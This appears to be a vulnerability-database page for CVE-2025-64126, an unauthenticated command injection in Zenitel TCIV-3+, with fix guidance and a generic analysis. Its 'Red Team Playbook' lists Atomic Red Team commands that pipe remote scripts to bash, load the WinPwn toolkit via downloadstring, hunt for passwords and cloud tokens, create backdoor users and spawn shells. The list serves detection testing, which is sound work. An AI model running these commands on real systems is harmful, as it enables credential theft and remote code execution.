CVE-2025-64126
Overview
This vulnerability is an OS command injection flaw arising from improper input validation within the Zenitel TCIV-3+ application. Specifically, the affected component accepts user-supplied parameters without verifying that inputs conform to valid IP address formats or filtering out malicious characters. This lack of sanitization enables direct injection of arbitrary OS commands into the system execution context.
Vulnerability Description
An OS command injection vulnerability exists due to improper input validation. The application accepts a parameter directly from user input without verifying it is a valid IP address or filtering potentially malicious characters. This could allow an unauthenticated attacker to inject arbitrary commands.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary OS commands with system privileges on the Zenitel TCIV-3+ device. No user interaction or authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling full compromise of confidentiality, integrity, and availability. This can lead to unauthorized control over device functions, potential network pivoting, and disruption of critical communication services within industrial or enterprise environments.
Solution
Zenitel has released firmware updates addressing this vulnerability, available through their official Downloads page under the Station and Device Firmware Package (VS-IS). Users should apply the latest firmware version as detailed in ICS-CERT advisory ICSA-25-329-03 and the Zenitel wiki. The advisory and GitHub repository provide step-by-step patching instructions and version requirements to mitigate the issue effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized by an OS command injection flaw that arises from inadequate input validation mechanisms within an application. Specifically, the application fails to properly sanitize user-supplied input, allowing potentially malicious characters to be processed without scrutiny. This oversight enables an attacker to inject arbitrary commands into the operating system, which can be executed with the privileges of the application. The lack of validation for parameters, particularly those expected to be in the format of an IP address, creates a significant security gap, as attackers can manipulate the input to execute unauthorized commands, leading to severe consequences.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an unauthenticated attacker can exploit it. By submitting specially crafted input that bypasses the application's validation checks, an attacker can execute system-level commands. For instance, if the application uses the input to construct command-line instructions without proper filtering, an attacker could inject commands to read sensitive files, alter system configurations, or even escalate privileges. Exploitation scenarios could include remote code execution, where an attacker gains control over the server, or data exfiltration, where sensitive information is accessed and transmitted to an external location. The simplicity of the attack, combined with the potential for significant impact, makes this vulnerability particularly dangerous.
The real-world impact of such a vulnerability can be profound, posing substantial business risks. Organizations affected by this flaw could face data breaches, loss of sensitive information, and damage to their reputation. The financial repercussions can be severe, including costs associated with incident response, regulatory fines, and potential lawsuits from affected parties. Moreover, the exploitation of this vulnerability could lead to operational disruptions, as attackers may deploy ransomware or other malicious payloads that cripple business operations. The high CVSS score of 10.0 underscores the critical nature of this vulnerability, indicating that it poses an immediate and severe threat to any organization that fails to address it.
Detection and mitigation strategies are essential for organizations to safeguard against this vulnerability. Implementing robust input validation mechanisms is paramount; any user-supplied input should be rigorously checked against expected formats and sanitized to remove potentially harmful characters. Additionally, employing a principle of least privilege can help limit the potential damage if an attack does occur, ensuring that the application runs with the minimum necessary permissions. Regular security assessments, including penetration testing and code reviews, can also help identify and remediate vulnerabilities before they can be exploited. Furthermore, keeping software and dependencies updated is crucial, as many vulnerabilities are addressed in subsequent patches.
In conclusion, the OS command injection vulnerability presents a critical threat to organizations that fail to implement adequate input validation and security measures. The potential for exploitation is high, with attackers able to execute arbitrary commands that can lead to severe operational and reputational damage. By adopting comprehensive detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their assets from malicious actors. The urgency of addressing such vulnerabilities cannot be overstated, as the consequences of inaction can be devastating in today's increasingly hostile cyber landscape.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-64126 |
| wiki.zenitel.com |
GitHub CVE
|
https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29 |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-03 |
| github.com |
GitHub CVE
|
https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-329-03.json |